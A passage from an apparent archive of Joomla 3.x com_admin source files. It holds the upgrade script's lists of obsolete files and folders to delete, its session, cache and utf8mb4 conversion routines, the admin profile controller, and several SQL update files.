			'/libraries/joomla/image/filter/brightness.php',
			'/libraries/joomla/image/filter/contrast.php',
			'/libraries/joomla/image/filter/edgedetect.php',
			'/libraries/joomla/image/filter/emboss.php',
			'/libraries/joomla/image/filter/grayscale.php',
			'/libraries/joomla/image/filter/negate.php',
			'/libraries/joomla/image/filter/sketchy.php',
			'/libraries/joomla/image/filter/smooth.php',
			'/libraries/joomla/image/image.php',
			'/libraries/joomla/input/cli.php',
			'/libraries/joomla/input/cookie.php',
			'/libraries/joomla/input/files.php',
			'/libraries/joomla/input/input.php',
			'/libraries/joomla/input/json.php',
			'/libraries/joomla/language/helper.php',
			'/libraries/joomla/language/language.php',
			'/libraries/joomla/language/stemmer.php',
			'/libraries/joomla/language/stemmer/porteren.php',
			'/libraries/joomla/language/text.php',
			'/libraries/joomla/language/transliterate.php',
			'/libraries/joomla/language/wrapper/helper.php',
			'/libraries/joomla/language/wrapper/text.php',
			'/libraries/joomla/language/wrapper/transliterate.php',
			'/libraries/joomla/log/entry.php',
			'/libraries/joomla/log/log.php',
			'/libraries/joomla/log/logger.php',
			'/libraries/joomla/log/logger/callback.php',
			'/libraries/joomla/log/logger/database.php',
			'/libraries/joomla/log/logger/echo.php',
			'/libraries/joomla/log/logger/formattedtext.php',
			'/libraries/joomla/log/logger/messagequeue.php',
			'/libraries/joomla/log/logger/syslog.php',
			'/libraries/joomla/log/logger/w3c.php',
			'/libraries/joomla/mail/helper.php',
			'/libraries/joomla/mail/language/phpmailer.lang-joomla.php',
			'/libraries/joomla/mail/mail.php',
			'/libraries/joomla/mail/wrapper/helper.php',
			'/libraries/joomla/microdata/microdata.php',
			'/libraries/joomla/microdata/types.json',
			'/libraries/joomla/object/object.php',
			'/libraries/joomla/profiler/profiler.php',
			'/libraries/joomla/session/exception/unsupported.php',
			'/libraries/joomla/session/session.php',
			'/libraries/joomla/string/punycode.php',
			'/libraries/joomla/table/asset.php',
			'/libraries/joomla/table/extension.php',
			'/libraries/joomla/table/interface.php',
			'/libraries/joomla/table/language.php',
			'/libraries/joomla/table/nested.php',
			'/libraries/joomla/table/observer.php',
			'/libraries/joomla/table/observer/contenthistory.php',
			'/libraries/joomla/table/observer/tags.php',
			'/libraries/joomla/table/table.php',
			'/libraries/joomla/table/update.php',
			'/libraries/joomla/table/updatesite.php',
			'/libraries/joomla/table/user.php',
			'/libraries/joomla/table/usergroup.php',
			'/libraries/joomla/table/viewlevel.php',
			'/libraries/joomla/updater/adapters/collection.php',
			'/libraries/joomla/updater/adapters/extension.php',
			'/libraries/joomla/updater/update.php',
			'/libraries/joomla/updater/updateadapter.php',
			'/libraries/joomla/updater/updater.php',
			'/libraries/joomla/uri/uri.php',
			'/libraries/joomla/user/helper.php',
			'/libraries/joomla/user/user.php',
			'/libraries/joomla/user/wrapper/helper.php',
			'/libraries/joomla/utilities/buffer.php',
			'/libraries/joomla/utilities/utility.php',
			'/libraries/legacy/access/rule.php',
			'/libraries/legacy/access/rules.php',
			'/libraries/legacy/application/cli.php',
			'/libraries/legacy/application/daemon.php',
			'/libraries/legacy/categories/categories.php',
			'/libraries/legacy/controller/admin.php',
			'/libraries/legacy/controller/form.php',
			'/libraries/legacy/controller/legacy.php',
			'/libraries/legacy/model/admin.php',
			'/libraries/legacy/model/form.php',
			'/libraries/legacy/model/item.php',
			'/libraries/legacy/model/legacy.php',
			'/libraries/legacy/model/list.php',
			'/libraries/legacy/table/category.php',
			'/libraries/legacy/table/content.php',
			'/libraries/legacy/table/menu.php',
			'/libraries/legacy/table/menu/type.php',
			'/libraries/legacy/table/module.php',
			'/libraries/legacy/view/categories.php',
			'/libraries/legacy/view/category.php',
			'/libraries/legacy/view/categoryfeed.php',
			'/libraries/legacy/view/legacy.php',
			'/libraries/legacy/web/client.php',
			'/libraries/legacy/web/web.php',
			'/media/editors/tinymce/langs/uk-UA.js',
			'/media/system/js/fields/calendar-locales/zh.js',

			/*
			 * Joomla! 3.8.0 thru 3.9.0
			 */
			'/administrator/components/com_users/controllers/profile.json.php',
			'/administrator/includes/toolbar.php',
			'/components/com_users/controllers/profile_base_json.php',
			'/components/com_users/controllers/profile.json.php',
			'/libraries/joomla/filesystem/file.php',
			'/libraries/joomla/filesystem/folder.php',
			'/libraries/joomla/filesystem/helper.php',
			'/libraries/joomla/filesystem/meta/language/en-GB/en-GB.lib_joomla_filesystem_patcher.ini',
			'/libraries/joomla/filesystem/patcher.php',
			'/libraries/joomla/filesystem/path.php',
			'/libraries/joomla/filesystem/stream.php',
			'/libraries/joomla/filesystem/streams/string.php',
			'/libraries/joomla/filesystem/support/stringcontroller.php',
			'/libraries/joomla/filesystem/wrapper/file.php',
			'/libraries/joomla/filesystem/wrapper/folder.php',
			'/libraries/joomla/filesystem/wrapper/path.php',
			'/libraries/src/Mail/language/phpmailer.lang-joomla.php',
			'/plugins/captcha/recaptcha/recaptchalib.php',

			/*
			 * Joomla! 3.9.0 thru 3.10.0
			 */
			'/SECURITY.md',
			'/administrator/components/com_users/controllers/profile.json.php',
			'/components/com_users/controllers/profile.json.php',
			'/components/com_users/controllers/profile_base_json.php',
			'/tests/unit/suites/libraries/cms/form/field/JFormFieldHelpsiteTest.php',

			/*
			 * Legacy FOF
			 */
			'/libraries/fof/controller.php',
			'/libraries/fof/dispatcher.php',
			'/libraries/fof/inflector.php',
			'/libraries/fof/input.php',
			'/libraries/fof/model.php',
			'/libraries/fof/query.abstract.php',
			'/libraries/fof/query.element.php',
			'/libraries/fof/query.mysql.php',
			'/libraries/fof/query.mysqli.php',
			'/libraries/fof/query.sqlazure.php',
			'/libraries/fof/query.sqlsrv.php',
			'/libraries/fof/render.abstract.php',
			'/libraries/fof/render.joomla.php',
			'/libraries/fof/render.joomla3.php',
			'/libraries/fof/render.strapper.php',
			'/libraries/fof/string.utils.php',
			'/libraries/fof/table.php',
			'/libraries/fof/template.utils.php',
			'/libraries/fof/toolbar.php',
			'/libraries/fof/view.csv.php',
			'/libraries/fof/view.html.php',
			'/libraries/fof/view.json.php',
			'/libraries/fof/view.php',

			/*
			 * Joomla! 3.9.7
			 */
			'/administrator/components/com_joomlaupdate/access.xml',

			// Joomla! 3.9.13
			'/libraries/vendor/phpmailer/phpmailer/composer.lock',

			// Joomla! 3.9.17
			'/administrator/components/com_templates/controllers/template.php.orig',

			// Joomla! 3.9.21
			'/.github/SECURITY.md',

			// Joomla! 3.9.23
			'/.drone.jsonnet',

			// Joomla! added by the 3.9.23-rc1
			'/libraries/vendor/bin/lessify',
			'/libraries/vendor/bin/lessify.bat',
			'/libraries/vendor/bin/plessc',
			'/libraries/vendor/bin/plessc.bat',
			'/libraries/vendor/joomla/archive/.drone.jsonnet',
			'/libraries/vendor/joomla/archive/.drone.yml',
			'/libraries/vendor/joomla/string/.drone.jsonnet',
			'/libraries/vendor/joomla/string/.drone.yml',
			'/libraries/vendor/leafo/lessphp/.drone.yml',
			'/libraries/vendor/leafo/lessphp/phpunit.xml.dist',
			'/libraries/vendor/leafo/lessphp/ruleset.xml',

			// Joomla 3.10.0
			'/libraries/joomla/base/adapter.php',
			'/libraries/joomla/base/adapterinstance.php',

			// Joomla 3.10.7-rc1 to 3.10.7 stable
			'/administrator/components/com_admin/sql/updates/postgresql/3.10.7-2022-02-20.sql.sql',
			'/administrator/components/com_admin/sql/updates/sqlazure/3.10.7-2022-02-20.sql.sql',
		);

		// TODO There is an issue while deleting folders using the ftp mode
		$folders = array(
			'/administrator/components/com_admin/sql/updates/sqlsrv',
			'/media/com_finder/images/mime',
			'/media/com_finder/images',
			'/components/com_media/helpers',
			// Joomla 3.0
			'/administrator/components/com_contact/elements',
			'/administrator/components/com_content/elements',
			'/administrator/components/com_newsfeeds/elements',
			'/administrator/components/com_templates/views/prevuuw/tmpl',
			'/administrator/components/com_templates/views/prevuuw',
			'/libraries/cms/controller',
			'/libraries/cms/model',
			'/libraries/cms/view',
			'/libraries/joomla/application/cli',
			'/libraries/joomla/application/component',
			'/libraries/joomla/application/input',
			'/libraries/joomla/application/module',
			'/libraries/joomla/cache/storage/helpers',
			'/libraries/joomla/database/table',
			'/libraries/joomla/database/database',
			'/libraries/joomla/error',
			'/libraries/joomla/filesystem/archive',
			'/libraries/joomla/html/html',
			'/libraries/joomla/html/toolbar',
			'/libraries/joomla/html/toolbar/button',
			'/libraries/joomla/html/parameter',
			'/libraries/joomla/html/parameter/element',
			'/libraries/joomla/image/filters',
			'/libraries/joomla/log/loggers',
			// Joomla! 3.1
			'/libraries/cms/feed/parser/rss',
			'/libraries/cms/feed/parser',
			'/libraries/cms/feed',
			'/libraries/joomla/form/rules',
			'/libraries/joomla/html/language/en-GB',
			'/libraries/joomla/html/language',
			'/libraries/joomla/html',
			'/libraries/joomla/installer/adapters',
			'/libraries/joomla/installer',
			'/libraries/joomla/pagination',
			'/libraries/legacy/html',
			'/libraries/legacy/menu',
			'/libraries/legacy/pathway',
			'/media/system/swf/',
			'/media/editors/tinymce/jscripts',
			// Joomla! 3.2
			'/libraries/joomla/plugin',
			'/libraries/legacy/component',
			'/libraries/legacy/module',
			'/administrator/components/com_weblinks/models/fields',
			'/plugins/user/joomla/postinstall',
			'/libraries/joomla/registry/format',
			'/libraries/joomla/registry',
			// Joomla! 3.3
			'/plugins/user/profile/fields',
			'/media/editors/tinymce/plugins/compat3x',
			// Joomla! 3.4
			'/administrator/components/com_tags/helpers/html',
			'/administrator/components/com_tags/models/fields',
			'/administrator/templates/hathor/html/com_finder/filter',
			'/administrator/templates/hathor/html/com_finder/statistics',
			'/libraries/compat/password/lib',
			'/libraries/compat/password',
			'/libraries/compat',
			'/libraries/framework/Joomla/Application/Cli/Output/Processor',
			'/libraries/framework/Joomla/Application/Cli/Output',
			'/libraries/framework/Joomla/Application/Cli',
			'/libraries/framework/Joomla/Application',
			'/libraries/framework/Joomla/DI/Exception',
			'/libraries/framework/Joomla/DI',
			'/libraries/framework/Joomla/Registry/Format',
			'/libraries/framework/Joomla/Registry',
			'/libraries/framework/Joomla',
			'/libraries/framework/Symfony/Component/Yaml/Exception',
			'/libraries/framework/Symfony/Component/Yaml',
			'/libraries/framework',
			'/libraries/phpmailer/language',
			'/libraries/phpmailer',
			'/media/editors/codemirror/css',
			'/media/editors/codemirror/js',
			'/media/com_banners',
			// Joomla! 3.4.1
			'/administrator/components/com_config/views',
			'/administrator/components/com_config/models/fields',
			'/administrator/components/com_config/models/forms',
			// Joomla! 3.4.2
			'/media/editors/codemirror/mode/smartymixed',
			// Joomla! 3.5
			'/libraries/vendor/symfony/yaml/Symfony/Component/Yaml/Exception',
			'/libraries/vendor/symfony/yaml/Symfony/Component/Yaml',
			'/libraries/vendor/symfony/yaml/Symfony/Component',
			'/libraries/vendor/symfony/yaml/Symfony',
			'/libraries/joomla/document/error',
			'/libraries/joomla/document/image',
			'/libraries/joomla/document/json',
			'/libraries/joomla/document/opensearch',
			'/libraries/joomla/document/raw',
			'/libraries/joomla/document/xml',
			'/administrator/components/com_media/models/forms',
			'/media/editors/codemirror/mode/kotlin',
			'/media/editors/tinymce/plugins/compat3x',
			'/plugins/editors/tinymce/fields',
			'/plugins/user/profile/fields',
			// Joomla 3.6
			'/libraries/simplepie/idn',
			'/libraries/simplepie',
			// Joomla! 3.6.3
			'/media/editors/codemirror/mode/jade',
			// Joomla! 3.7.0
			'/libraries/joomla/data',
			'/administrator/components/com_cache/layouts/joomla/searchtools/default',
			'/administrator/components/com_cache/layouts/joomla/searchtools',
			'/administrator/components/com_cache/layouts/joomla',
			'/administrator/components/com_cache/layouts',
			'/administrator/components/com_modules/layouts/joomla/searchtools/default',
			'/administrator/components/com_modules/layouts/joomla/searchtools',
			'/administrator/components/com_modules/layouts/joomla',
			'/administrator/components/com_templates/layouts/joomla/searchtools/default',
			'/administrator/components/com_templates/layouts/joomla/searchtools',
			'/administrator/components/com_templates/layouts/joomla',
			'/administrator/components/com_templates/layouts',
			'/administrator/templates/hathor/html/mod_menu',
			'/administrator/components/com_messages/layouts/toolbar',
			'/administrator/components/com_messages/layouts',
			// Joomla! 3.7.4
			'/components/com_fields/controllers',
			// Joomla! 3.8.0
			'/administrator/modules/mod_menu/preset',
			'/libraries/cms/application',
			'/libraries/cms/authentication',
			'/libraries/cms/captcha',
			'/libraries/cms/component/exception',
			'/libraries/cms/component/router/rules',
			'/libraries/cms/component/router',
			'/libraries/cms/component',
			'/libraries/cms/editor',
			'/libraries/cms/error',
			'/libraries/cms/extension',
			'/libraries/cms/form/field',
			'/libraries/cms/form/rule',
			'/libraries/cms/form',
			'/libraries/cms/help',
			'/libraries/cms/helper',
			'/libraries/cms/installer/adapter',
			'/libraries/cms/installer/manifest',
			'/libraries/cms/installer',
			'/libraries/cms/language',
			'/libraries/cms/layout',
			'/libraries/cms/library',
			'/libraries/cms/menu',
			'/libraries/cms/module',
			'/libraries/cms/pagination',
			'/libraries/cms/pathway',
			'/libraries/cms/plugin',
			'/libraries/cms/response',
			'/libraries/cms/router',
			'/libraries/cms/schema/changeitem',
			'/libraries/cms/schema',
			'/libraries/cms/search',
			'/libraries/cms/table',
			'/libraries/cms/toolbar/button',
			'/libraries/cms/toolbar',
			'/libraries/cms/ucm',
			'/libraries/cms/version',
			'/libraries/joomla/access/exception',
			'/libraries/joomla/access/wrapper',
			'/libraries/joomla/access',
			'/libraries/joomla/association/extension',
			'/libraries/joomla/association',
			'/libraries/joomla/authentication',
			'/libraries/joomla/cache/controller',
			'/libraries/joomla/cache/exception',
			'/libraries/joomla/cache/storage',
			'/libraries/joomla/cache',
			'/libraries/joomla/client/wrapper',
			'/libraries/joomla/client',
			'/libraries/joomla/crypt/cipher',
			'/libraries/joomla/crypt/password',
			'/libraries/joomla/crypt',
			'/libraries/joomla/date',
			'/libraries/joomla/document/feed/renderer',
			'/libraries/joomla/document/feed',
			'/libraries/joomla/document/html/renderer',
			'/libraries/joomla/document/html',
			'/libraries/joomla/document/renderer/feed',
			'/libraries/joomla/document/renderer/html',
			'/libraries/joomla/document/renderer',
			'/libraries/joomla/document',
			'/libraries/joomla/environment',
			'/libraries/joomla/feed/parser/rss',
			'/libraries/joomla/feed/parser',
			'/libraries/joomla/feed',
			'/libraries/joomla/filter/wrapper',
			'/libraries/joomla/filter',
			'/libraries/joomla/form/rule',
			'/libraries/joomla/form/wrapper',
			'/libraries/joomla/http/transport',
			'/libraries/joomla/http/wrapper',
			'/libraries/joomla/http',
			'/libraries/joomla/image/filter',
			'/libraries/joomla/image',
			'/libraries/joomla/input',
			'/libraries/joomla/language/stemmer',
			'/libraries/joomla/language/wrapper',
			'/libraries/joomla/language',
			'/libraries/joomla/log/logger',
			'/libraries/joomla/log',
			'/libraries/joomla/mail/language',
			'/libraries/joomla/mail/wrapper',
			'/libraries/joomla/mail',
			'/libraries/joomla/microdata',
			'/libraries/joomla/object',
			'/libraries/joomla/profiler',
			'/libraries/joomla/session/exception',
			'/libraries/joomla/table',
			'/libraries/joomla/updater/adapters',
			'/libraries/joomla/updater',
			'/libraries/joomla/uri',
			'/libraries/joomla/user/wrapper',
			'/libraries/joomla/user',
			'/libraries/legacy/access',
			'/libraries/legacy/categories',
			'/libraries/legacy/controller',
			'/libraries/legacy/model',
			'/libraries/legacy/table/menu',
			'/libraries/legacy/view',
			'/libraries/legacy/web',
			'/media/editors/tinymce/plugins/jdragdrop',
			// Joomla! 3.9.0
			'/libraries/joomla/filesystem/meta/language/en-GB',
			'/libraries/joomla/filesystem/meta/language',
			'/libraries/joomla/filesystem/meta',
			'/libraries/joomla/filesystem/streams',
			'/libraries/joomla/filesystem/support',
			'/libraries/joomla/filesystem/wrapper',
			'/libraries/joomla/filesystem',
			// Joomla 3.10.0
			'/libraries/joomla/base',
			// Joomla 3.10.8
			'/administrator/components/com_users/models/fields/primaryauthproviders.php',
		);

		jimport('joomla.filesystem.file');

		foreach ($files as $file)
		{
			if (JFile::exists(JPATH_ROOT . $file) && !JFile::delete(JPATH_ROOT . $file))
			{
				echo JText::sprintf('FILES_JOOMLA_ERROR_FILE_FOLDER', $file) . '<br />';
			}
		}

		jimport('joomla.filesystem.folder');

		foreach ($folders as $folder)
		{
			if (JFolder::exists(JPATH_ROOT . $folder) && !JFolder::delete(JPATH_ROOT . $folder))
			{
				echo JText::sprintf('FILES_JOOMLA_ERROR_FILE_FOLDER', $folder) . '<br />';
			}
		}

		/*
		 * Needed for updates post-3.4
		 * If com_weblinks doesn't exist then assume we can delete the weblinks package manifest (included in the update packages)
		 */
		if (!JFile::exists(JPATH_ROOT . '/administrator/components/com_weblinks/weblinks.php')
			&& JFile::exists(JPATH_ROOT . '/administrator/manifests/packages/pkg_weblinks.xml'))
		{
			JFile::delete(JPATH_ROOT . '/administrator/manifests/packages/pkg_weblinks.xml');
		}

		$this->fixFilenameCasing();
	}

	/**
	 * Clears the RAD layer's table cache.
	 *
	 * The cache vastly improves performance but needs to be cleared every time you update the database schema.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	protected function clearRadCache()
	{
		jimport('joomla.filesystem.file');

		if (JFile::exists(JPATH_ROOT . '/cache/fof/cache.php'))
		{
			JFile::delete(JPATH_ROOT . '/cache/fof/cache.php');
		}
	}

	/**
	 * Method to create assets for newly installed components
	 *
	 * @param   JInstaller  $installer  The class calling this method
	 *
	 * @return  boolean
	 *
	 * @since   3.2
	 */
	public function updateAssets($installer)
	{
		// List all components added since 1.6
		$newComponents = array(
			'com_finder',
			'com_joomlaupdate',
			'com_tags',
			'com_contenthistory',
			'com_ajax',
			'com_postinstall',
			'com_fields',
			'com_associations',
			'com_privacy',
			'com_actionlogs',
		);

		foreach ($newComponents as $component)
		{
			/** @var JTableAsset $asset */
			$asset = JTable::getInstance('Asset');

			if ($asset->loadByName($component))
			{
				continue;
			}

			$asset->name      = $component;
			$asset->parent_id = 1;
			$asset->rules     = '{}';
			$asset->title     = $component;
			$asset->setLocation(1, 'last-child');

			if (!$asset->store())
			{
				// Install failed, roll back changes
				$installer->abort(JText::sprintf('JLIB_INSTALLER_ABORT_COMP_INSTALL_ROLLBACK', $asset->stderr(true)));

				return false;
			}
		}

		return true;
	}

	/**
	 * If we migrated the session from the previous system, flush all the active sessions.
	 * Otherwise users will be logged in, but not able to do anything since they don't have
	 * a valid session
	 *
	 * @return  boolean
	 */
	public function flushSessions()
	{
		/**
		 * The session may have not been started yet (e.g. CLI-based Joomla! update scripts). Let's make sure we do
		 * have a valid session.
		 */
		$session = JFactory::getSession();

		/**
		 * Restarting the Session require a new login for the current user so lets check if we have an active session
		 * and only restart it if not.
		 * For B/C reasons we need to use getState as isActive is not available in 2.5
		 */
		if ($session->getState() !== 'active')
		{
			$session->restart();
		}

		// If $_SESSION['__default'] is no longer set we do not have a migrated session, therefore we can quit.
		if (!isset($_SESSION['__default']))
		{
			return true;
		}

		$db = JFactory::getDbo();

		try
		{
			switch ($db->getServerType())
			{
				// MySQL database, use TRUNCATE (faster, more resilient)
				case 'mysql':
					$db->truncateTable('#__session');
					break;

				// Non-MySQL databases, use a simple DELETE FROM query
				default:
					$query = $db->getQuery(true)
						->delete($db->qn('#__session'));
					$db->setQuery($query)->execute();
					break;
			}
		}
		catch (Exception $e)
		{
			echo JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $e->getCode(), $e->getMessage()) . '<br />';

			return false;
		}

		return true;
	}

	/**
	 * Converts the site's database tables to support UTF-8 Multibyte.
	 *
	 * @param   boolean  $doDbFixMsg  Flag if message to be shown to check db fix
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function convertTablesToUtf8mb4($doDbFixMsg = false)
	{
		$db = JFactory::getDbo();

		// This is only required for MySQL databases
		$serverType = $db->getServerType();

		if ($serverType != 'mysql')
		{
			return;
		}

		// Set required conversion status
		if ($db->hasUTF8mb4Support())
		{
			$convertedStep1 = 2;
			$convertedStep2 = 4;

			// The first step has to be repeated if it has not been run (converted = 4 in database)
			$convertedRequired = 5;
		}
		else
		{
			$convertedStep1 = 1;
			$convertedStep2 = 3;

			// All done after step 2
			$convertedRequired = 3;
		}

		// Check conversion status in database
		$db->setQuery('SELECT ' . $db->quoteName('converted')
			. ' FROM ' . $db->quoteName('#__utf8_conversion')
		);

		try
		{
			$convertedDB = $db->loadResult();
		}
		catch (Exception $e)
		{
			// Render the error message from the Exception object
			JFactory::getApplication()->enqueueMessage($e->getMessage(), 'error');

			if ($doDbFixMsg)
			{
				// Show an error message telling to check database problems
				JFactory::getApplication()->enqueueMessage(JText::_('JLIB_DATABASE_ERROR_DATABASE_UPGRADE_FAILED'), 'error');
			}

			return;
		}

		// Nothing to do, saved conversion status from DB is equal to required final status
		if ($convertedDB == $convertedRequired)
		{
			return;
		}

		$converted = $convertedDB;
		$hasErrors = false;

		// Steps 1 and 2: Convert core tables if necessary and not to be done at later steps
		if ($convertedDB < $convertedStep1 || ($convertedRequired == 5 && ($convertedDB == 3 || $convertedDB == 4)))
		{
			// Step 1: Drop indexes later to be added again with column lengths limitations at step 2
			$fileName1 = JPATH_ROOT . '/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql';

			if (is_file($fileName1))
			{
				$fileContents1 = @file_get_contents($fileName1);
				$queries1      = $db->splitSql($fileContents1);

				if (!empty($queries1))
				{
					foreach ($queries1 as $query1)
					{
						try
						{
							$db->setQuery($query1)->execute();
						}
						catch (Exception $e)
						{
							// If the query fails we will go on. It just means the index to be dropped does not exist.
						}
					}
				}
			}

			// Step 2: Perform the index modifications and conversions
			$fileName2 = JPATH_ROOT . '/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-02.sql';

			if (is_file($fileName2))
			{
				$fileContents2 = @file_get_contents($fileName2);
				$queries2      = $db->splitSql($fileContents2);

				if (!empty($queries2))
				{
					foreach ($queries2 as $query2)
					{
						try
						{
							$db->setQuery($db->convertUtf8mb4QueryToUtf8($query2))->execute();
						}
						catch (Exception $e)
						{
							$hasErrors = true;

							// Still render the error message from the Exception object
							JFactory::getApplication()->enqueueMessage($e->getMessage(), 'error');
						}
					}
				}
			}

			if (!$hasErrors)
			{
				$converted = $convertedStep1;
			}
		}

		// Step 3: Convert action logs and privacy suite tables if necessary and conversion hasn't failed before
		if (!$hasErrors && $convertedDB < $convertedStep2)
		{
			$fileName3 = JPATH_ROOT . '/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-03.sql';

			if (is_file($fileName3))
			{
				$fileContents3 = @file_get_contents($fileName3);
				$queries3      = $db->splitSql($fileContents3);

				if (!empty($queries3))
				{
					foreach ($queries3 as $query3)
					{
						try
						{
							$db->setQuery($db->convertUtf8mb4QueryToUtf8($query3))->execute();
						}
						catch (Exception $e)
						{
							$hasErrors = true;

							// Still render the error message from the Exception object
							JFactory::getApplication()->enqueueMessage($e->getMessage(), 'error');
						}
					}
				}
			}
		}

		if (!$hasErrors)
		{
			$converted = $convertedRequired;
		}

		if ($doDbFixMsg && $hasErrors)
		{
			// Show an error message telling to check database problems
			JFactory::getApplication()->enqueueMessage(JText::_('JLIB_DATABASE_ERROR_DATABASE_UPGRADE_FAILED'), 'error');
		}

		// Set flag in database if the conversion status has changed.
		if ($converted != $convertedDB)
		{
			$db->setQuery('UPDATE ' . $db->quoteName('#__utf8_conversion')
				. ' SET ' . $db->quoteName('converted') . ' = ' . $converted . ';')->execute();
		}
	}

	/**
	 * This method clean the Joomla Cache using the method `clean` from the com_cache model
	 *
	 * @return  void
	 *
	 * @since   3.5.1
	 */
	private function cleanJoomlaCache()
	{
		JModelLegacy::addIncludePath(JPATH_ROOT . '/administrator/components/com_cache/models');
		$model = JModelLegacy::getInstance('cache', 'CacheModel');

		// Clean frontend cache
		$model->clean();

		// Clean admin cache
		$model->setState('client_id', 1);
		$model->clean();
	}

	/**
	 * Renames or removes incorrectly cased files.
	 *
	 * @return  void
	 *
	 * @since   3.9.25
	 */
	protected function fixFilenameCasing()
	{
		$files = array(
			'/libraries/src/Filesystem/Support/Stringcontroller.php' => '/libraries/src/Filesystem/Support/StringController.php',
			'/libraries/vendor/paragonie/sodium_compat/src/Core/Xsalsa20.php' => '/libraries/vendor/paragonie/sodium_compat/src/Core/XSalsa20.php',
			'/media/mod_languages/images/si_LK.gif' => '/media/mod_languages/images/si_lk.gif',
		);

		foreach ($files as $old => $expected)
		{
			$oldRealpath = realpath(JPATH_ROOT . $old);

			// On Unix without incorrectly cased file.
			if ($oldRealpath === false)
			{
				continue;
			}

			$oldBasename      = basename($oldRealpath);
			$newRealpath      = realpath(JPATH_ROOT . $expected);
			$newBasename      = basename($newRealpath);
			$expectedBasename = basename($expected);

			// On Windows or Unix with only the incorrectly cased file.
			if ($newBasename !== $expectedBasename)
			{
				// Rename the file.
				rename(JPATH_ROOT . $old, JPATH_ROOT . $old . '.tmp');
				rename(JPATH_ROOT . $old . '.tmp', JPATH_ROOT . $expected);

				continue;
			}

			// There might still be an incorrectly cased file on other OS than Windows.
			if ($oldBasename === basename($old))
			{
				// Check if case-insensitive file system, eg on OSX.
				if (fileinode($oldRealpath) === fileinode($newRealpath))
				{
					// Check deeper because even realpath or glob might not return the actual case.
					if (!in_array($expectedBasename, scandir(dirname($newRealpath))))
					{
						// Rename the file.
						rename(JPATH_ROOT . $old, JPATH_ROOT . $old . '.tmp');
						rename(JPATH_ROOT . $old . '.tmp', JPATH_ROOT . $expected);
					}
				}
				else
				{
					// On Unix with both files: Delete the incorrectly cased file.
					unlink(JPATH_ROOT . $old);
				}
			}
		}
	}
}
com_admin/controllers/profile.php000060400000003644152455305270013224 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * User profile controller class.
 *
 * @since  1.6
 */
class AdminControllerProfile extends JControllerForm
{
	/**
	 * Method to check if you can edit a record.
	 *
	 * Extended classes can override this if necessary.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		return isset($data['id']) && $data['id'] == JFactory::getUser()->id;
	}

	/**
	 * Overrides parent save method to check the submitted passwords match.
	 *
	 * @param   string  $key     The name of the primary key of the URL variable.
	 * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   3.2
	 */
	public function save($key = null, $urlVar = null)
	{
		$this->setRedirect(JRoute::_('index.php?option=com_admin&view=profile&layout=edit&id=' . JFactory::getUser()->id, false));

		$return = parent::save();

		if ($this->getTask() != 'apply')
		{
			// Redirect to the main page.
			$this->setRedirect(JRoute::_('index.php', false));
		}

		return $return;
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   1.6
	 */
	public function cancel($key = null)
	{
		$return = parent::cancel($key);

		// Redirect to the main page.
		$this->setRedirect(JRoute::_('index.php', false));

		return $return;
	}
}
com_admin/sql/updates/mysql/3.6.0-2016-06-05.sql000060400000000172152455305270014327 0ustar00--
-- Add ACL check for to #__languages
--

ALTER TABLE `#__languages` ADD COLUMN `asset_id` INT NOT NULL AFTER `lang_id`;com_admin/sql/updates/mysql/3.9.27-2021-04-20.sql000060400000000510152455305270014406 0ustar00INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `language_extension`, `language_client_id`, `type`, `version_introduced`, `enabled`)
VALUES
(700, 'COM_ADMIN_POSTINSTALL_MSG_FLOC_BLOCKER_TITLE', 'COM_ADMIN_POSTINSTALL_MSG_FLOC_BLOCKER_DESCRIPTION', 'com_admin', 1, 'message', '3.9.27', 1);
com_admin/sql/updates/mysql/2.5.0-2011-12-22.sql000060400000004675152455305270014330 0ustar00REPLACE INTO `#__finder_taxonomy` (`id`, `parent_id`, `title`, `state`, `access`, `ordering`) VALUES
(1, 0, 'ROOT', 0, 0, 0);

REPLACE INTO `#__finder_terms_common` (`term`, `language`) VALUES
('a', 'en'),
('about', 'en'),
('after', 'en'),
('ago', 'en'),
('all', 'en'),
('am', 'en'),
('an', 'en'),
('and', 'en'),
('ani', 'en'),
('any', 'en'),
('are', 'en'),
('aren''t', 'en'),
('as', 'en'),
('at', 'en'),
('be', 'en'),
('but', 'en'),
('by', 'en'),
('for', 'en'),
('from', 'en'),
('get', 'en'),
('go', 'en'),
('how', 'en'),
('if', 'en'),
('in', 'en'),
('into', 'en'),
('is', 'en'),
('isn''t', 'en'),
('it', 'en'),
('its', 'en'),
('me', 'en'),
('more', 'en'),
('most', 'en'),
('must', 'en'),
('my', 'en'),
('new', 'en'),
('no', 'en'),
('none', 'en'),
('not', 'en'),
('noth', 'en'),
('nothing', 'en'),
('of', 'en'),
('off', 'en'),
('often', 'en'),
('old', 'en'),
('on', 'en'),
('onc', 'en'),
('once', 'en'),
('onli', 'en'),
('only', 'en'),
('or', 'en'),
('other', 'en'),
('our', 'en'),
('ours', 'en'),
('out', 'en'),
('over', 'en'),
('page', 'en'),
('she', 'en'),
('should', 'en'),
('small', 'en'),
('so', 'en'),
('some', 'en'),
('than', 'en'),
('thank', 'en'),
('that', 'en'),
('the', 'en'),
('their', 'en'),
('theirs', 'en'),
('them', 'en'),
('then', 'en'),
('there', 'en'),
('these', 'en'),
('they', 'en'),
('this', 'en'),
('those', 'en'),
('thus', 'en'),
('time', 'en'),
('times', 'en'),
('to', 'en'),
('too', 'en'),
('true', 'en'),
('under', 'en'),
('until', 'en'),
('up', 'en'),
('upon', 'en'),
('use', 'en'),
('user', 'en'),
